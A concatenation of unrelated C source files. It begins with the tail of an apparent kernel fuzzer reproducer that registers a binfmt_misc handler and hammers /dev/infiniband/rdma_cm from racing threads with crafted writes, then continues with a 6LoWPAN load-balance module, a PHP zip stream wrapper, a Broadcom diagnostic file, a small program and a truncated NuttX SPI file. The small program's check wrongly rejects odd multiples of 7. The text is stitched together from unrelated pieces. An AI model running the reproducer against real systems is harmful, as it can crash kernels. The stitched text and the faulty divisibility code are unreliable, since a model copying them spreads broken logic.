write_file("/proc/sys/fs/binfmt_misc/register", ":syz1:M:1:\x02::./file0:POC"); } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; int collide = 0; again: for (call = 0; call < 15; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 45); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); close_fds(); if (!collide) { collide = 1; goto again; } } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { setup_loop(); int iter = 0; for (;; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { if (chdir(cwdbuf)) exit(1); setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } remove_dir(cwdbuf); } } uint64_t r[6] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: res = syscall(__NR_openat, 0xffffffffffffff9cul, 0ul, 2ul, 0ul); if (res != -1) r[0] = res; break; case 1: syscall(__NR_ioctl, r[0], 0x40305829, 0); break; case 2: NONFAILING(memcpy((void*)0x20000180, "/dev/infiniband/rdma_cm\000", 24)); res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000180ul, 2ul, 0ul); if (res != -1) r[1] = res; break; case 3: syscall(__NR_write, r[1], 0ul, 0ul); break; case 4: syscall(__NR_write, r[1], 0ul, 0ul); break; case 5: syscall(__NR_write, r[1], 0ul, 0ul); break; case 6: NONFAILING(memcpy((void*)0x20000180, "/dev/infiniband/rdma_cm\000", 24)); res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000180ul, 2ul, 0ul); if (res != -1) r[2] = res; break; case 7: NONFAILING(*(uint32_t*)0x20000080 = 0); NONFAILING(*(uint16_t*)0x20000084 = 0x18); NONFAILING(*(uint16_t*)0x20000086 = 0xfa00); NONFAILING(*(uint64_t*)0x20000088 = 0); NONFAILING(*(uint64_t*)0x20000090 = 0x20000000); NONFAILING(*(uint16_t*)0x20000098 = 0x111); NONFAILING(*(uint8_t*)0x2000009a = 0); NONFAILING(*(uint8_t*)0x2000009b = 0); NONFAILING(*(uint8_t*)0x2000009c = 0); NONFAILING(*(uint8_t*)0x2000009d = 0); NONFAILING(*(uint8_t*)0x2000009e = 0); NONFAILING(*(uint8_t*)0x2000009f = 0); res = syscall(__NR_write, r[2], 0x20000080ul, 0x20ul); if (res != -1) NONFAILING(r[3] = *(uint32_t*)0x20000000); break; case 8: syscall(__NR_write, r[2], 0ul, 0ul); break; case 9: NONFAILING(*(uint32_t*)0x200000c0 = 1); NONFAILING(*(uint16_t*)0x200000c4 = 0x10); NONFAILING(*(uint16_t*)0x200000c6 = 0xfa00); NONFAILING(*(uint64_t*)0x200000c8 = 0); NONFAILING(*(uint32_t*)0x200000d0 = r[3]); NONFAILING(*(uint32_t*)0x200000d4 = 0); syscall(__NR_write, r[2], 0x200000c0ul, 0x18ul); break; case 10: NONFAILING(memcpy((void*)0x20000180, "/dev/infiniband/rdma_cm\000", 24)); res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000180ul, 2ul, 0ul); if (res != -1) r[4] = res; break; case 11: NONFAILING(*(uint32_t*)0x20000080 = 0); NONFAILING(*(uint16_t*)0x20000084 = 0x18); NONFAILING(*(uint16_t*)0x20000086 = 0xfa00); NONFAILING(*(uint64_t*)0x20000088 = 0); NONFAILING(*(uint64_t*)0x20000090 = 0x20000000); NONFAILING(*(uint16_t*)0x20000098 = 0x111); NONFAILING(*(uint8_t*)0x2000009a = 0); NONFAILING(*(uint8_t*)0x2000009b = 0); NONFAILING(*(uint8_t*)0x2000009c = 0); NONFAILING(*(uint8_t*)0x2000009d = 0); NONFAILING(*(uint8_t*)0x2000009e = 0); NONFAILING(*(uint8_t*)0x2000009f = 0); res = syscall(__NR_write, r[4], 0x20000080ul, 0x20ul); if (res != -1) NONFAILING(r[5] = *(uint32_t*)0x20000000); break; case 12: syscall(__NR_write, r[4], 0ul, 0ul); break; case 13: NONFAILING(*(uint32_t*)0x200000c0 = 1); NONFAILING(*(uint16_t*)0x200000c4 = 0x10); NONFAILING(*(uint16_t*)0x200000c6 = 0xfa00); NONFAILING(*(uint64_t*)0x200000c8 = 0); NONFAILING(*(uint32_t*)0x200000d0 = r[5]); NONFAILING(*(uint32_t*)0x200000d4 = 0); syscall(__NR_write, r[4], 0x200000c0ul, 0x18ul); break; case 14: NONFAILING(*(uint32_t*)0x20000080 = 0x12); NONFAILING(*(uint16_t*)0x20000084 = 0x10); NONFAILING(*(uint16_t*)0x20000086 = 0xfa00); NONFAILING(*(uint64_t*)0x20000088 = 0); NONFAILING(*(uint32_t*)0x20000090 = r[3]); NONFAILING(*(uint32_t*)0x20000094 = r[4]); syscall(__NR_write, r[1], 0x20000080ul, 0x18ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_binfmt_misc(); install_segv_handler(); use_temporary_dir(); do_sandbox_none(); return 0; }
96953.c
/* * Copyright (c) 2016-2020, Pelion and affiliates. * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "nsconfig.h" #include "ns_types.h" #include "ns_trace.h" #include <string.h> #include "net_load_balance_api.h" #include "net_interface.h" #include "NWK_INTERFACE/Include/protocol.h" #ifdef HAVE_6LOWPAN_ND #include "net_rpl.h" #include "Service_Libs/load_balance/load_balance_api.h" #include "Service_Libs/mle_service/mle_service_api.h" #include "nsdynmemLIB.h" #include "ns_list.h" #include "6LoWPAN/Bootstraps/protocol_6lowpan.h" #include "mlme.h" #include "mac_api.h" #include "sw_mac.h" #include "6LoWPAN/MAC/mac_helper.h" #include "6LoWPAN/MAC/mac_data_poll.h" #include "libNET/src/net_load_balance_internal.h" #ifdef ECC #include "libX509_V3.h" #include "ecc.h" #endif #ifdef PANA #include "Security/PANA/pana.h" #include "Security/PANA/pana_internal_api.h" #endif #include "6LoWPAN/ND/nd_router_object.h" #ifdef HAVE_RPL #include "RPL/rpl_control.h" #endif #define TRACE_GROUP "6lb" static uint8_t net_load_balance_priority_get(const void *load_balance_user) { const protocol_interface_info_entry_t *cur = load_balance_user; if (!cur->rpl_domain) { return 0; } int16_t priority = protocol_6lowpan_rpl_global_priority_get(); if (priority < 0) { priority = 0; } else if (priority > 255) { priority = 255; } return priority; } static void net_load_balance_beacon_tx(const void *load_balance_user) { const protocol_interface_info_entry_t *cur = load_balance_user; mlme_set_t set_req; set_req.attr = macLoadBalancingBeaconTx; set_req.attr_index = 0; set_req.value_pointer = NULL; set_req.value_size = 0; cur->mac_api->mlme_req(cur->mac_api, MLME_SET, &set_req); } static bool net_load_balance_network_switch_req(void *load_balance_user, struct mlme_pan_descriptor_s *PANDescriptor, const uint8_t *beacon_payload, uint16_t beacon_payload_length) { protocol_interface_info_entry_t *interface = load_balance_user; //Run down current interface setup and do start if (interface->if_down(interface) != 0) { return false; } #ifdef PANA pana_reset_client_session(); #endif if (interface->if_up(interface) != 0) { return false; } if (!protocol_6lowpan_bootsrap_link_set(interface, PANDescriptor, beacon_payload, beacon_payload_length)) { return false; } //Start configured bootstrap return protocol_6lowpan_bootsrap_start(interface); } static void net_load_balance_link_reject(const protocol_interface_info_entry_t *cur) { uint8_t ll_all_nodes[16]; memcpy(ll_all_nodes, ADDR_LINK_LOCAL_ALL_NODES, 16); mle_service_interface_receiver_handler_update(cur->id, NULL); mle_service_reject_message_build(cur->id, ll_all_nodes, false); nd_router_t *nd_router = nd_get_object_by_nwk_id(cur->nwk_id); if (nd_router) { nd_router->nd_timer = 0; nd_router->ns_forward_timer = 0; nd_router->mle_advert_timer = 0; } } static bool net_load_balance_network_switch_notify_cb(const void *load_balance_user, load_balance_nwk_switch_operation operation, uint16_t *timeout) { const protocol_interface_info_entry_t *cur = load_balance_user; switch (operation) { case LB_ROUTER_LEAVE: if (arm_nwk_6lowpan_rpl_dodag_poison(cur->id) == 0) { *timeout = 8; } else { *timeout = 0; } break; case LB_NEIGHBOUR_LEAVE: net_load_balance_link_reject(cur); *timeout = 4; break; } return true; } #endif int8_t net_load_balance_network_switch_cb_set(int8_t interface_id, net_load_balance_network_switch_notify *network_switch_notify) { #ifdef HAVE_6LOWPAN_ND protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } return load_balance_network_switch_cb_set(interface_ptr->lb_api, network_switch_notify); #else (void) interface_id; (void) network_switch_notify; return -1; #endif } int8_t net_load_balance_create(int8_t interface_id, bool enable_periodic_beacon_interval) { #ifdef HAVE_6LOWPAN_ND protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr || !interface_ptr->mac_api) { return -1; } else if (interface_ptr->lb_api) { return -3; } //Allocate load balance user class load_balance_api_t *lb_api = load_balance_create(net_load_balance_network_switch_notify_cb, enable_periodic_beacon_interval); if (!lb_api) { return -2; } //Here initialize load balance based on current mac max beacon data size uint16_t beacon_payload_size; if (interface_ptr->mac_api->phyMTU > MAC_IEEE_802_15_4_MAX_PHY_PACKET_SIZE) { beacon_payload_size = MAC_IEEE_802_15_4_MAX_PHY_PACKET_SIZE - MAC_IEEE_802_15_4_MAX_BEACON_OVERHEAD; } else { beacon_payload_size = interface_ptr->mac_api->phyMTU - MAC_IEEE_802_15_4_MAX_BEACON_OVERHEAD; } if (lb_api->lb_initialize(lb_api, net_load_balance_beacon_tx, net_load_balance_priority_get, net_load_balance_network_switch_req, beacon_payload_size, interface_ptr) != 0) { load_balance_delete(lb_api); return -2; } //Store here load balance class pointer pointer interface_ptr->lb_api = lb_api; //Enable if if ((interface_ptr->lowpan_info & (INTERFACE_NWK_ACTIVE | INTERFACE_NWK_BOOTSRAP_ADDRESS_REGISTER_READY)) == (INTERFACE_NWK_ACTIVE | INTERFACE_NWK_BOOTSRAP_ADDRESS_REGISTER_READY)) { net_load_balance_internal_state_activate(interface_ptr, true); } return 0; #else (void) interface_id; (void) enable_periodic_beacon_interval; return -1; #endif } int8_t net_load_balance_delete(int8_t interface_id) { #ifdef HAVE_6LOWPAN_ND protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } load_balance_api_t *lb_api = interface_ptr->lb_api; interface_ptr->lb_api = NULL; return load_balance_delete(lb_api); #else (void) interface_id; return -1; #endif } int8_t net_load_balance_threshold_set(int8_t interface_id, uint8_t threshold_min, uint8_t threshold_max) { #ifdef HAVE_6LOWPAN_ND protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } if (threshold_min > threshold_max) { return -1; } return load_balance_network_threshold_set(interface_ptr->lb_api, threshold_min, threshold_max); #else (void) interface_id; (void) threshold_min; (void) threshold_max; return -1; #endif } void net_load_balance_internal_state_activate(protocol_interface_info_entry_t *interface_ptr, bool state) { #ifdef HAVE_6LOWPAN_ND if (!interface_ptr || !interface_ptr->lb_api || !interface_ptr->mac_api) { return; } uint32_t trigle_period = 3600; uint32_t route_lifetime_period = 3600; //Enable Load Balance #ifdef HAVE_RPL if (state && interface_ptr->rpl_domain) { struct rpl_instance *instance = rpl_control_lookup_instance(interface_ptr->rpl_domain, 1, NULL); if (instance) { const rpl_dodag_conf_int_t *dodag_config = rpl_control_get_dodag_config(instance); if (dodag_config) { //dio max Period caluclate in seconds uint32_t Imax_ms = (dodag_config->dio_interval_min + dodag_config->dio_interval_doublings) < 32 ? (1ul << (dodag_config->dio_interval_min + dodag_config->dio_interval_doublings)) : 0xfffffffful; trigle_period = Imax_ms / 1000; route_lifetime_period = (uint32_t)dodag_config->default_lifetime * dodag_config->lifetime_unit; } } } #endif interface_ptr->lb_api->lb_enable(interface_ptr->lb_api, state, trigle_period, route_lifetime_period); mlme_set_t set_req; set_req.attr = macLoadBalancingAcceptAnyBeacon; set_req.attr_index = 0; set_req.value_pointer = &state; set_req.value_size = sizeof(bool); interface_ptr->mac_api->mlme_req(interface_ptr->mac_api, MLME_SET, &set_req); #else (void) interface_ptr; (void) state; #endif } #ifdef HAVE_RPL #ifdef HAVE_6LOWPAN_BORDER_ROUTER static int8_t net_load_balance_api_get_node_count_cb(void *lb_user, uint16_t *node_count) { protocol_interface_info_entry_t *interface_ptr = lb_user; if (rpl_control_get_instance_dao_target_count(interface_ptr->rpl_domain, 1, NULL, NULL, node_count)) { return 0; } return -1; } #endif #endif #ifdef HAVE_RPL #ifdef HAVE_6LOWPAN_BORDER_ROUTER static int8_t net_load_balance_api_get_set_load_level_cb(void *lb_user, uint8_t load_level) { //Call DODAG preference protocol_interface_info_entry_t *interface_ptr = lb_user; if (!interface_ptr->rpl_domain || interface_ptr->rpl_domain != protocol_6lowpan_rpl_domain || !protocol_6lowpan_rpl_root_dodag) { return -1; } if (load_level > RPL_DODAG_PREF_MASK) { load_level = RPL_DODAG_PREF_MASK; } rpl_control_set_dodag_pref(protocol_6lowpan_rpl_root_dodag, RPL_DODAG_PREF_MASK - load_level); return 0; } #endif #endif int8_t net_load_balance_load_level_update_enable(int8_t interface_id, uint16_t expected_device_count) { #ifdef HAVE_RPL #ifdef HAVE_6LOWPAN_BORDER_ROUTER protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } uint16_t temp16 = expected_device_count % 8; if (temp16) { expected_device_count += (8 - temp16); } return load_balance_network_load_monitor_enable(interface_ptr->lb_api, expected_device_count, RPL_DODAG_PREF_MASK + 1, net_load_balance_api_get_node_count_cb, net_load_balance_api_get_set_load_level_cb); #else (void)interface_id; (void)expected_device_count; return -1; #endif #else (void)interface_id; (void)expected_device_count; return -1; #endif } /** * \brief Disable automatic network load level update * * \param interface_id interface id * * \return 0 process ok -1 Unknown interface id */ int8_t net_load_balance_load_level_update_disable(int8_t interface_id) { #ifdef HAVE_RPL #ifdef HAVE_6LOWPAN_BORDER_ROUTER protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } return load_balance_network_load_monitor_disable(interface_ptr->lb_api); #else (void)interface_id; return -1; #endif #else (void)interface_id; return -1; #endif } int8_t net_load_balance_set_max_probability(int8_t interface_id, uint8_t max_p) { #ifdef HAVE_6LOWPAN_ND protocol_interface_info_entry_t *interface_ptr = protocol_stack_interface_info_get_by_id(interface_id); if (!interface_ptr) { return -1; } return load_balance_set_max_probability(interface_ptr->lb_api, max_p); #else (void) interface_id; (void) max_p; return -1; #endif }
39111.c
/* +----------------------------------------------------------------------+ | PHP Version 7 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt. | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | [email protected] so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Piere-Alain Joye <[email protected]> | +----------------------------------------------------------------------+ */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include "php.h" #if HAVE_ZIP #include "php_streams.h" #include "ext/standard/file.h" #include "ext/standard/php_string.h" #include "fopen_wrappers.h" #include "php_zip.h" #include "ext/standard/url.h" struct php_zip_stream_data_t { struct zip *za; struct zip_file *zf; size_t cursor; php_stream *stream; }; #define STREAM_DATA_FROM_STREAM() \ struct php_zip_stream_data_t *self = (struct php_zip_stream_data_t *) stream->abstract; /* {{{ php_zip_ops_read */ static size_t php_zip_ops_read(php_stream *stream, char *buf, size_t count) { ssize_t n = 0; STREAM_DATA_FROM_STREAM(); if (self->za && self->zf) { n = zip_fread(self->zf, buf, count); if (n < 0) { #if LIBZIP_VERSION_MAJOR < 1 int ze, se; zip_file_error_get(self->zf, &ze, &se); stream->eof = 1; php_error_docref(NULL, E_WARNING, "Zip stream error: %s", zip_file_strerror(self->zf)); #else zip_error_t *err; err = zip_file_get_error(self->zf); stream->eof = 1; php_error_docref(NULL, E_WARNING, "Zip stream error: %s", zip_error_strerror(err)); zip_error_fini(err); #endif return 0; } /* cast count to signed value to avoid possibly negative n * being cast to unsigned value */ if (n == 0 || n < (ssize_t)count) { stream->eof = 1; } else { self->cursor += n; } } return (n < 1 ? 0 : (size_t)n); } /* }}} */ /* {{{ php_zip_ops_write */ static size_t php_zip_ops_write(php_stream *stream, const char *buf, size_t count) { if (!stream) { return 0; } return count; } /* }}} */ /* {{{ php_zip_ops_close */ static int php_zip_ops_close(php_stream *stream, int close_handle) { STREAM_DATA_FROM_STREAM(); if (close_handle) { if (self->zf) { zip_fclose(self->zf); self->zf = NULL; } if (self->za) { zip_close(self->za); self->za = NULL; } } efree(self); stream->abstract = NULL; return EOF; } /* }}} */ /* {{{ php_zip_ops_flush */ static int php_zip_ops_flush(php_stream *stream) { if (!stream) { return 0; } return 0; } /* }}} */ static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb) /* {{{ */ { struct zip_stat sb; const char *path = stream->orig_path; int path_len = strlen(stream->orig_path); char file_dirname[MAXPATHLEN]; struct zip *za; char *fragment; int fragment_len; int err; zend_string *file_basename; fragment = strchr(path, '#'); if (!fragment) { return -1; } if (strncasecmp("zip://", path, 6) == 0) { path += 6; } fragment_len = strlen(fragment); if (fragment_len < 1) { return -1; } path_len = strlen(path); if (path_len >= MAXPATHLEN) { return -1; } memcpy(file_dirname, path, path_len - fragment_len); file_dirname[path_len - fragment_len] = '\0'; file_basename = php_basename((char *)path, path_len - fragment_len, NULL, 0); fragment++; if (ZIP_OPENBASEDIR_CHECKPATH(file_dirname)) { zend_string_release(file_basename); return -1; } za = zip_open(file_dirname, ZIP_CREATE, &err); if (za) { memset(ssb, 0, sizeof(php_stream_statbuf)); if (zip_stat(za, fragment, ZIP_FL_NOCASE, &sb) != 0) { zip_close(za); zend_string_release(file_basename); return -1; } zip_close(za); if (path[path_len-1] != '/') { ssb->sb.st_size = sb.size; ssb->sb.st_mode |= S_IFREG; /* regular file */ } else { ssb->sb.st_size = 0; ssb->sb.st_mode |= S_IFDIR; /* regular directory */ } ssb->sb.st_mtime = sb.mtime; ssb->sb.st_atime = sb.mtime; ssb->sb.st_ctime = sb.mtime; ssb->sb.st_nlink = 1; ssb->sb.st_rdev = -1; #ifndef PHP_WIN32 ssb->sb.st_blksize = -1; ssb->sb.st_blocks = -1; #endif ssb->sb.st_ino = -1; } zend_string_release(file_basename); return 0; } /* }}} */ php_stream_ops php_stream_zipio_ops = { php_zip_ops_write, php_zip_ops_read, php_zip_ops_close, php_zip_ops_flush, "zip", NULL, /* seek */ NULL, /* cast */ php_zip_ops_stat, /* stat */ NULL /* set_option */ }; /* {{{ php_stream_zip_open */ php_stream *php_stream_zip_open(const char *filename, const char *path, const char *mode STREAMS_DC) { struct zip_file *zf = NULL; int err = 0; php_stream *stream = NULL; struct php_zip_stream_data_t *self; struct zip *stream_za; if (strncmp(mode,"r", strlen("r")) != 0) { return NULL; } if (filename) { if (ZIP_OPENBASEDIR_CHECKPATH(filename)) { return NULL; } /* duplicate to make the stream za independent (esp. for MSHUTDOWN) */ stream_za = zip_open(filename, ZIP_CREATE, &err); if (!stream_za) { return NULL; } zf = zip_fopen(stream_za, path, 0); if (zf) { self = emalloc(sizeof(*self)); self->za = stream_za; self->zf = zf; self->stream = NULL; self->cursor = 0; stream = php_stream_alloc(&php_stream_zipio_ops, self, NULL, mode); stream->orig_path = estrdup(path); } else { zip_close(stream_za); } } if (!stream) { return NULL; } else { return stream; } } /* }}} */ /* {{{ php_stream_zip_opener */ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper, const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC) { int path_len; zend_string *file_basename; char file_dirname[MAXPATHLEN]; struct zip *za; struct zip_file *zf = NULL; char *fragment; int fragment_len; int err; php_stream *stream = NULL; struct php_zip_stream_data_t *self; fragment = strchr(path, '#'); if (!fragment) { return NULL; } if (strncasecmp("zip://", path, 6) == 0) { path += 6; } fragment_len = strlen(fragment); if (fragment_len < 1) { return NULL; } path_len = strlen(path); if (path_len >= MAXPATHLEN || mode[0] != 'r') { return NULL; } memcpy(file_dirname, path, path_len - fragment_len); file_dirname[path_len - fragment_len] = '\0'; file_basename = php_basename(path, path_len - fragment_len, NULL, 0); fragment++; if (ZIP_OPENBASEDIR_CHECKPATH(file_dirname)) { zend_string_release(file_basename); return NULL; } za = zip_open(file_dirname, ZIP_CREATE, &err); if (za) { zf = zip_fopen(za, fragment, 0); if (zf) { self = emalloc(sizeof(*self)); self->za = za; self->zf = zf; self->stream = NULL; self->cursor = 0; stream = php_stream_alloc(&php_stream_zipio_ops, self, NULL, mode); if (opened_path) { *opened_path = zend_string_init(path, strlen(path), 0); } } else { zip_close(za); } } zend_string_release(file_basename); if (!stream) { return NULL; } else { return stream; } } /* }}} */ static php_stream_wrapper_ops zip_stream_wops = { php_stream_zip_opener, NULL, /* close */ NULL, /* fstat */ NULL, /* stat */ NULL, /* opendir */ "zip wrapper", NULL, /* unlink */ NULL, /* rename */ NULL, /* mkdir */ NULL /* rmdir */ }; php_stream_wrapper php_stream_zip_wrapper = { &zip_stream_wops, NULL, 0 /* is_url */ }; #endif /* HAVE_ZIP */
569627.c
/* * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ #ifdef BSL_LOG_MODULE #error "BSL_LOG_MODULE redefined" #endif #define BSL_LOG_MODULE BSL_LS_SWSTATEDNX_GENERAL #include <soc/dnxc/swstate/dnxc_sw_state_c_includes.h> #include <soc/dnx/swstate/auto_generated/diagnostic/dnx_ire_packet_generator_diagnostic.h> #if defined(DNX_SW_STATE_DIAGNOSTIC) extern dnx_ire_packet_generator_info_struct * ire_packet_generator_info_data[SOC_MAX_NUM_DEVICES]; int ire_packet_generator_info_dump(int unit, dnx_sw_state_dump_filters_t filters) { DNXC_SW_STATE_INIT_FUNC_DEFS; SHR_IF_ERR_EXIT(ire_packet_generator_info_ire_datapath_enable_state_dump(unit, filters)); DNXC_SW_STATE_FUNC_RETURN; } int ire_packet_generator_info_ire_datapath_enable_state_dump(int unit, dnx_sw_state_dump_filters_t filters) { DNXC_SW_STATE_INIT_FUNC_DEFS; if (dnx_sw_state_compare(filters.typefilter, "uint32") != TRUE) { SHR_EXIT(); } if (dnx_sw_state_compare(filters.namefilter, "dnx_ire_packet_generator ire_datapath_enable_state") != TRUE) { SHR_EXIT(); } if (filters.nocontent) { DNX_SW_STATE_PRINT(unit, "swstate dnx_ire_packet_generator ire_datapath_enable_state\n"); } else { dnx_sw_state_dump_attach_file( unit, "ire_packet_generator_info/ire_datapath_enable_state.txt", "ire_packet_generator_info[%d]->","((dnx_ire_packet_generator_info_struct*)sw_state_roots_array[%d][DNX_IRE_PACKET_GENERATOR_MODULE_ID])->","ire_datapath_enable_state: "); DNX_SW_STATE_DUMP_PTR_NULL_CHECK( unit, ((dnx_ire_packet_generator_info_struct*)sw_state_roots_array[unit][DNX_IRE_PACKET_GENERATOR_MODULE_ID])); DNX_SW_STATE_PRINT_MONITOR( unit, "ire_packet_generator_info[%d]->","((dnx_ire_packet_generator_info_struct*)sw_state_roots_array[%d][DNX_IRE_PACKET_GENERATOR_MODULE_ID])->","ire_datapath_enable_state: "); DNX_SW_STATE_PRINT_FILE( unit, " "); dnx_sw_state_print_uint32( unit, &((dnx_ire_packet_generator_info_struct*)sw_state_roots_array[unit][DNX_IRE_PACKET_GENERATOR_MODULE_ID])->ire_datapath_enable_state); dnx_sw_state_dump_detach_file( unit); } DNXC_SW_STATE_FUNC_RETURN; } dnx_sw_state_diagnostic_info_t ire_packet_generator_info_info[SOC_MAX_NUM_DEVICES][IRE_PACKET_GENERATOR_INFO_INFO_NOF_ENTRIES]; const char* ire_packet_generator_info_layout_str[IRE_PACKET_GENERATOR_INFO_INFO_NOF_ENTRIES] = { "IRE_PACKET_GENERATOR_INFO~", "IRE_PACKET_GENERATOR_INFO~IRE_DATAPATH_ENABLE_STATE~", }; #endif #undef BSL_LOG_MODULE
447114.c
#include <stdio.h> #include <stdlib.h> int main() { int number; printf("Enter a number you want to check if its evenly divisble by 7: "); scanf("%d", &number); if (((number % 2) == 0) && ((number % 7) == 0)) { printf("%d is evenly divisible by 7\n", number); } else { printf("%d is not evenly divisble by 7\n", number); } return 0; }
460652.c
/**************************************************************************** * boards/arm/sama5/sama5d2-xult/src/sam_spi.c * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdint.h> #include <stdbool.h> #include <debug.h> #include <errno.h> #include <nuttx/spi/spi.h> #include <arch/board/board.h> #include "arm_internal.h" #include "chip.h" #include "sam_pio.h" #include "sam_spi.h" #include "sama5d2-xult.h" #if defined(CONFIG_SAMA5_SPI0) || defined(CONFIG_SAMA5_SPI1) /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: sam_spidev_initialize * * Description: * Called to configure SPI chip select PIO pins for the SAMA5D3-Xplained * board. * ****************************************************************************/ void weak_function sam_spidev_initialize(void) { #ifdef CONFIG_SAMA5_SPI0 #ifdef CONFIG_MTD_AT25 /* The AT25 serial FLASH connects using NPCS0 */ sam_configpio(PIO_AT25_NPCS0); #endif #endif #ifdef CONFIG_SAMA5_SPI1 #endif } /**************************************************************************** * Name: sam_spi[0|1]select, sam_spi[0|1]status, and sam_spi[0|1]cmddata * * Description: * These external functions must be provided by board-specific logic. * They include: * * o sam_spi[0|1]select is a functions tomanage the board-specific chip * selects * o sam_spi[0|1]status and sam_spi[0|1]cmddata: * Implementations of the status and cmddata methods of the SPI interface * defined by struct spi_ops_(see include/nuttx/spi/spi.h). * All other methods including sam_spibus_initialize()) are provided by * common SAM3/4 logic. * * To use this common SPI logic on your board: * * 1. Provide logic in sam_boardinitialize() to configure SPI chip select * pins. * 2. Provide sam_spi[0|1]select() and sam_spi[0|1]status() functions in * your board-specific logic. * These functions will perform chip selection and status operations * using PIOs in the way your board is configured. * 2. If CONFIG_SPI_CMDDATA is defined in the NuttX configuration, provide * sam_spi[0|1]cmddata() functions in your board-specific logic. This * function will perform cmd/data selection operations using PIOs in * the way your board is configured. * 3. Add a call to sam_spibus_initialize() in your low level application * initialization logic * 4. The handle returned by sam_spibus_initialize() may then be used to * bind the SPI driver to higher level logic (e.g., calling * mmcsd_spislotinitialize(), for example, will bind the SPI driver to * the SPI MMC/SD driver). * ****************************************************************************/ /**************************************************************************** * Name: sam_spi[0|1]select * * Description: * PIO chip select pins may be programmed by the board specific logic in * one of two different ways. First, the pins may be programmed as SPI * peripherals. In that case, the pins are completely controlled by the * SPI driver. This method still needs to be provided, but it may be only * a stub. * * An alternative way to program the PIO chip select pins is as a normal * PIO output. In that case, the automatic control of the CS pins is * bypassed and this function must provide control of the chip select. * NOTE: In this case, the PIO output pin does *not* have to be the * same as the NPCS pin normal associated with the chip select number. * * Input Parameters: * devid - Identifies the (logical) device * selected - TRUE:Select the device, FALSE:De-select the device * * Returned Value: * None * ****************************************************************************/ #ifdef CONFIG_SAMA5_SPI0 void sam_spi0select(uint32_t devid, bool selected) { #ifdef CONFIG_MTD_AT25 /* The AT25 serial FLASH connects using NPCS0 */ if (devid == SPIDEV_FLASH(0)) { sam_piowrite(PIO_AT25_NPCS0, !selected); } #endif } #endif #ifdef CONFIG_SAMA5_SPI1 void sam_spi1select(uint32_t devid, bool selected) { } #endif /**************************************************************************** * 